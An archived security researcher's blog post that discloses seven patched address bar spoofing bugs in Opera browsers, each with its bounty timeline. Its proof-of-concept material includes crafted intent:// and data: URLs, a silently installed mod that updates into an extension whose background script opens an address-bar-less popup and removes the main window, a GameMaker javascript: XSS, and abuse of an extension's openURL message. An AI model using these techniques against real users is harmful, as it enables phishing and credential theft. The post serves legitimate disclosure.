You Are Not Where You Think You Are, Opera Browsers Address Bar Spoofing Vulnerabilities

You Are Not Where You Think You Are, Opera Browsers Address Bar Spoofing Vulnerabilities - Renwa, @RenwaX23, Medium.

- Published: 2023-10-24
- Original: <https://medium.com/@renwa/you-are-not-where-you-think-you-are-opera-browsers-address-bar-spoofing-vulnerabilities-aa36ad8321d8>
- Preserved from: https://medium.com/@renwa/you-are-not-where-you-think-you-are-opera-browsers-address-bar-spoofing-vulnerabilities-aa36ad8321d8 (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Browsers

Url

Xss Attack

Spoofing

You Are Not Where You Think You Are, Opera Browsers Address Bar Spoofing Vulnerabilities

[[image: Renwa]](https://medium.com/@renwa?source=post_page---byline--aa36ad8321d8----------)

Renwa

--

In addition to the same-origin policy, memory management, and cookie handling, the address bar is also a crucial component of web browsers from a security standpoint. It serves as a straightforward means to determine your location on the web and assess the trustworthiness of the source. With this in mind, over the past year, I have dedicated my efforts to exploring various methods of address bar spoofing within web browsers. Opera was my chosen target for this investigation, during which I identified multiple vulnerabilities across different browsers and employing various techniques. All the vulnerabilities I've included in this article were reported and patched by Opera in good timely manner with paid bounties.

1. Opera GX Android — Address Bar Spoof with intent://vtp.operagx.gg/?url=

Opera GX has a cool feature which allows you to send a video to your phone, when you open a video an icon shows up upon clicking will show a QR code link like this:

https://vtp.operagx.gg/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6Ejga4kJUts%26t%3D5s

Looking at the website this link will redirect to

intent://vtp.operagx.gg/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6Ejga4kJUts%26t%3D5s#Intent;scheme=https;category=android.intent.category.BROWSABLE;package=com.opera.gx;S.browser_fallback_url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.opera.gx%26referrer%3Dutm_medium%253Dvtp%2526utm_content%253Dgoogle_play;end;

Playing with this intent I found out that you can also open other URIs inside the browser not only http/https.

One of the URIs caught my attention was data URLs https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs

Syntax of it is : `data:[<mediatype>][;base64],<data>`

and example : `data:,Hello%2C%20World%21`

Opening it inside the browser with the intent we found :

As you can see our input is fully displayed inside the address bar and also with our content inside the page.

Playing with it I found a nice way which we can fully change the address bar and make it like a fully legit website, the URL I used:

data://login.auth.account.opera.com/,Opera.com is Down :(%0a%0d%0a%0dGo to https://new-opera.com/

Better understanding:

POC

intent://vtp.operagx.gg/?url=data://login.auth.account.opera.com/,Opera.com is Down :(%0a%0d%0a%0dGo to https://new-opera.com/#Intent;scheme=https;category=android.intent.category.BROWSABLE;package=com.opera.gx;S.browser_fallback_url=;end

Image POC

Reported: 22 March 2023 Patched: 11 May 2023 Bounty: 26 May 2023 (%32%30%30%30)

2. Full Address Bar Spoof and Browser Takeover Inside Opera GX Desktop

Summary

In Opera GX there isn't any check for installing Mods and we can abuse this to update the Mod to an Extension and have higher privileges.

Opera GX Mods

Lately I was in a group chat were they talked about the new OperaGX feature Mods, I was curious and wanted to search about it I found the news article https://blogs.opera.com/news/2023/02/opera-gx-opera-gf-valentines-day-mod/

Opened my GX and looked how it worked luckily everything was documented https://github.com/opera-gaming/gxmods , By looking at example mods I noticed these mods are basically extensions but without any permissions.

Downloaded an example and played with it I found out if the manifest had the **mod** attribute then it will be treated differently as an extension, It can't have any **content_script** or **permissions**.

Mods Installation

From the documentation it says you can install a mod by going to extensions and choosing load unpacked then your folder or by dropping the packed **.crx** file into the browser.

I know that if you download a packed extension **.crx** inside the browser it will prompt a message saying:

But what if we download a **.crx** mod

As you can see our Mod was added to the browser without any prompt message or permission, but Mods can't do that much like I said before the most thing I thought of was CSS injection on any website, how we can abuse this mod to do malicious actions?

Mod update

One of manifest V3 features is you can have update an extension outside the store and host it on your server, update_url by entering our host inside this attribute the browser will send a request to it and update our extension to the newest version.

I created a Mod and pointed **update_url** to this XML document:

```
<?xml version='1.0' encoding='UTF-8'?>
<gupdate xmlns='http://www.google.com/update2/response' protocol='2.0'>
  <app appid='ognjhldibihbecibchfedidcmgpcenjj'>
    <updatecheck codebase='https://mydomain/asdfgh/video.crx' version='1.23' />
  </app>
</gupdate>
```

This will update the mod to the newer version **1.23** and contents of our new version is:

```
{"update_url": "https://mydomain/asdfgh/pp.txt",
   "manifest_version": 3,
   "name": "Video Player",
   "description": "Best Video Player",
   "version": "1.23",
   "icons":
   {
      "512": "icon_512.png"
   },
   "developer":
   {
      "name": "Opera Softwarea"
   },
"background": {
   "service_worker": "x.js"
 }
}
```

As you can see now we don't have the **mod** attribute which will change our mod to extension, and also we have a background script **x.js** which will run in context of extension.

Now let's try our attack User visits our page, the mod will be installed automatically:

User closes his browser and opens it again

The Mod changes to Extension and our background script will be executed.

Background script

Even after updating the extension still doesn't have any permissions, tried everything from manifest but it didn't work, looked at the background script and it had these permissions enabled by default:

Tried all of them and they didn't have much permissions but one interesting function caught my eye didn't saw it before, **chrome.windows** It has access to all opened windows which we can remove them and create new ones, looking at documentation chrome.windows.create there is this interesting value called **type** lets see examples, now we can use **normal** and **popup** let's try popup:

Notice anything weird? there isn't any address bar and this allow us to create our own URL bar and trick anyone they are on a legit origin.

Exploitation

Hopefully the diagram is clear, we also have access to **chrome.windows.remove** which enable us to remove the main window and only open the spoofed window we control, this will make the

browser only open our window and the main window can't be accessed.

I'm not sure about how Opera checks for updates regularly but after every restart it checks for it, I think after some hours it will also check for updates no need for browser restart this will make the attack more effective.

POC

- Install Opera GX and visit my website https://mydomain/poc.html
- Restart your browser
- We took over the Browser and Address bar spoofed

Video POC

Bonus Bug

Inside the manifest we can have **optional_permissions** which we can ask for any permission using https://developer.chrome.com/docs/extensions/reference/permissions/ when the user clicks Allow we have access to everything even RCE can be achieved, I didn't make a POC for this as it requires user interaction by clicking Allow but just as a research I make this is also possible to do with this bug.

x.js background script contents

```
chrome.windows.create({url:"https://mydomain/spoof/",type:"popup",width:900,height:900,left:250});
chrome.windows.getAll((x)=>{chrome.windows.remove(x[0].id)});
```

Reported: 27 February 2023 Patched: 5 March 2023 Bounty: 17 April 2023 (%32%30%30%30)

3. Full Address Bar Spoofing in Opera Touch and Opera GX Mobile with Google Search

Inside Opera Touch and GX Mobile when you search for something using the address bar it will automatically redirect you to google and the search is reflected in address bar.

While testing I found out the app will change the address bar even if the user redirects from another site, it will just check if the domain starts with `www.google.tld.tld` (tld) is accepted as anything then the path starts with `/search?client=ms-opera-touch-android&q=anything`

Combining these 2 bugs I was able to spoof full address bar in the victim browser. **POC:** https://www.google.pwr.wtf/search?q=https://www.google.com/login&client=ms-opera-touch-android

Note: I bought the domain `pwn.wtf` just for showing this POC XD

Reported: 6 October 2022 Patched: 5 December 2022 Bounty: 8 February 2023 (%32%35%30%30)

4. Opera Mini Browser Address Bar Spoof with opera-mini://open?url=

While looking at Opera Mini for Android I found a critical bug which allow an attacker to spoof URL address bar and trick the victim to steal his credentials or any other act. I decompiled the app using `jadx-gui` app and looked at the source code to find anything interesting, In one of the packages I found this

```
return new zoa("client_welcome_update", this.b + ' ' + b2 + "    ", 5000, "opera-mini://open?url=https%3A%2F%2Fwww.c
```

Playing with the custom `opera-mini://open:url=` scheme was not that much interesting all it did was just a redirect to the given website in `url` parameter. After so much fuzzing and different things I tried I found something really cool.

If a web page let's say `example.com` has a link to the custom scheme which points to a website with a downloadable file the webpage will still be our domain but the address bar will change to the link we set. Why this happens? The custom redirect scheme will change the address bar to the targeted page before completing the request and getting back response, if we redirect to a slow website, downloadable file or any website without any response body the address bar will change to that URL and the contents will be from our page and the browser will hang with the frozen address bar.

`attacker.com` -> click link to `opera-mini://open?url=google.com/download` address bar changes to `google.com/download` contents of the page is still from `attacker.com` and user can interact with it

Video POC

Reported: 29 September 2022 Patched: 21 November 2022 Bounty: 30 November 2022 (%33%30%30%30)

5. XSS in play.gx.games to Full Address Bar Spoof in Opera GX

A stored XSS issue in play.gx.games sandbox domain allowed me to communicate with `Gaming Landing Page` default extension which allowed me to get full address bar spoof.

play.gx.games

Opera has built a new platform for gamers to play online on https://gx.games/, there is a plenty of games and features which you can play and contribute to the platform too. Anyone can create games and publish it on the website by using **GameMaker Studio** which is also made by Opera, GMS uses its own programming language called **GML Code** this code translates to different platforms and also browser. In browser the code I think translates to **WebAssembly** then to Javascript. After creating the game and publishing it online anyone can play it on the platform, the game is embedded inside an iframe in a sandboxed domain `play.gx.games`.

GameMaker Studio

I'm already familiar with GMS and made some scripts in the past so I wanted to test if we can use the GML code to get any vulnerabilities inside `play.gx.games` domain after pushing the game online. Played with everything and made some small scripts but my favorite function which I had a feeling there is something it was url_open(), from documentation: `This will open the specified URL on the browser of the chosen target device, or, if you are using the HTML5 module, in the currently open browser.` so basically it's just like window.open(). More tests I found out that `url_open` will translate to `window.open` inside a browser and got me thinking, `url_open("javascript:alert(23)");` lets test it, I got:

hmm thats interesting but why blocked? yeah I forgot that in modern browsers `window.open()` requires user interaction now lets read GML documentation and find how to add an event listener to run our script only when we clicked on the page or any other object. It was easy just took me a half day to figure that out lol.

Testing it again and:

Boom what a lovely alert box now lets push our code to **play.gx.games** and it worked like expected we have now XSS on that sandbox domain.

XSS

What we can do with our lovely XSS? we can steal user info like his profile picture, username, user id and do CSRF actions behalf of him maybe change his bio and pp to **I'm Noob Player** in the end it's a sandboxed gaming website not a bank nothing interesting. The worse case might be spoofing to get user to enter his Opera credentials and send it to us but nah I'm always after more creative and critical bugs. GameMaker, Opera GX and GX.games all are made by Opera and maybe same developers so there might be a connection with them and what could go wrong?

Gaming Landing Page

I wanted to test Opera GX browser like my previous bug to see if there is any hidden extensions which `play.gx.games` has access to it. run GX on mac with this option `open /Applications/Opera\ GX.app --args --show-component-extension-options` Now lets dive into every extension and check its manifest.json file. **Gaming Landing Page** this extension caught my eye and lets look at it with this url `chrome-extension://mpojjmidmnpcpopbebmecmjdkdbgdeke/manifest.json`

Do you see what I see? `externally_connectable` means these origins can send message to this extension and luckily our XSS inside `play.gx.games` matches the domains, now it's time to read its code and what it does with the receives messages, minified version of the code:

```
if (request.command === 'closeTab') {
chrome.tabs.remove([sender.tab.id], () => {
        sendResponse();
        window.setTimeout(() => {
          this.ignore[sender.tab.id] = false;
        }, 5000);
      });
    }

if (request.command === 'authenticate') {
    try {
      opr.gamingPrivate.authenticate(
        request.randomString,
        new Uint8Array(Object.values(request.hash)),
        hash => {
          sendResponse({hash: Object.values(new Uint8Array(hash))});
          opr.gamingPrivate.gameStarted(sender.tab.id);
        },
      );

   const url = new URL(sender.url);
   if (
    request.command === 'openURL' &&
    (url.protocol === 'https:' || url.hostname === 'localhost')
   ) {
    opr.gamingPrivate.openURL(request.url, request.fullScreen, request.size);
    sendResponse();
   }
   if (request.command === 'product') {
    opr.operaBrowserPrivate.getProduct(product => {
      sendResponse({product});
    });
    return true;
   }
```

So we have 4 commands:

- **closeTab** closed our tab, nothing
- **authenticate** gives us user token which we can use for account takeover, not much
- **openURL** opens a URL inside a new window that looks interesting
- **product** sends back browser version, useless

Alright lets investigate `openURL`, it sends our data to `opr.gamingPrivate.openURL()` native function which has 3 parameters, **url -string**, **fullScreen -boolean** and **size -no one knows** I was stuck in the third parameter for many days any giving parameter I gave it rejected even chatGPT couldn't

answer it. one day I came back to it and gave it this object `{'__proto__':23}` and I got: `Error at parameter 'size': Missing required property 'height'.` now I send `{'height':23}` got `Missing required property 'width` finally given width and testing it.

From the image above you might notice something about the new window which is opened by `openURL` function. The window doesn't have address bar and any toolbar it's just a window with our content in it, what could go wrong?

When there isn't a URL bar in a browser we will create ours but instead of showing the real website we are on we will show a completely wrong domain to trick our victim thinking they are on a legit trusted website, isn't that evil? Using my elementary grade school CSS and HTML skills to create a fake Opera Auth website I was able to recreate it perfectly with the address bar that not even Sherlock Holmes can notice. I even made the cursor change to text selector when you hover over the address bar inside my fake site lol.

Video POC

Bonus bugs

**Potential Local File Read **We can also open local files on the pc which is not possible with a normal web page and javascript, combined with a compromised render exploit in Chrome we can leak all the files as it's described here by the amazing Glazunov. Not sure where I heard that but with every Chrome security patch there is at least one compromised renderer exploit.

Bypass VPN When you turn the VPN on it will stay on until you restart your browser, with our vulnerability we can load `chrome://` scheme URLs and one of them is `chrome://restart` which restarts the browser and when it's back ON the VPN is not working and we leak user real IP.

Reported: 10 January 2023 Patched: 31 March 2023 Bounty: 31 March 2023 (%31%30%30%30)

6. Opera GX For Android URL Spoof/Freeze with Search Feature

While looking at Opera GX for android I found another address bar spoof which allow an attacker trick a victim to send his credentials on spoofed origin.

I noticed something weird with GX, when there is an Arabic character in url combined with a normal a-z character the browser will hang and doesn't do anything but the url will be set to value we set. For example copy this URL and paste it inside the browser `http:// google.com`

It won't be considered a real vulnerability if we tell the victim to copy and paste this into the address bar, Luckily I found another way we can abuse to get our desired result. With putting the text inside a textarea and tabbing on search it will be shown on the address bar.

Video POC

Code Used

Reported: 27 October 2022 Patched: 1 March 2023 Bounty: 7 March 2023 (%35%30%30)

7. Opera and Opera Mini for Android Address Bar Spoof with Fullscreen

While looking at Opera and Opera Mini for Android implantation of how address bar is displayed and full screen display I found a vulnerability which allow us to fully spoof the address bar.

Vulnerability

In browsers we can request full screen using javascript or clicking on full screen view inside a video, the browser will change the view to full screen which hides everything including the address bar.

Testing how Opera handles full screen view I noticed that there isn't any notification which alerts the user his view is changed to fullscreen. This is the heart of the bug and very serious actually below I demonstrate it more clearly.

Testing the same functionality inside Chrome and other browsers I found they have a mitigation for it:

Opera for Android didn't prompt anything when changing to fullscreen.

Proof of Concept

Look at this video which I show both normal navigation and requesting full screen to spoof address bar, as you can see there isn't much difference which makes any user vulnerable to spoofing and tricking them to steal credentials which they think they are on legit origin.

Reported: 6 February 2023 Patched: 6 March 2023 Bounty: 17 April 2023 (%31%30%30)

And this the end for our browser address bar spoof vulnerabilities affecting Opera browsers in both desktop and mobile, Thanks for Opera for the opportunity to share these bugs and hopefully they can also rise bounty amounts to match other browser vendors, there were also other spoofing bugs reported but I didn't mention it in this blog as it was using the same technique my goal was showcasing different ways to achieve address bar spoof bugs.

Thanks for Reading

Renwa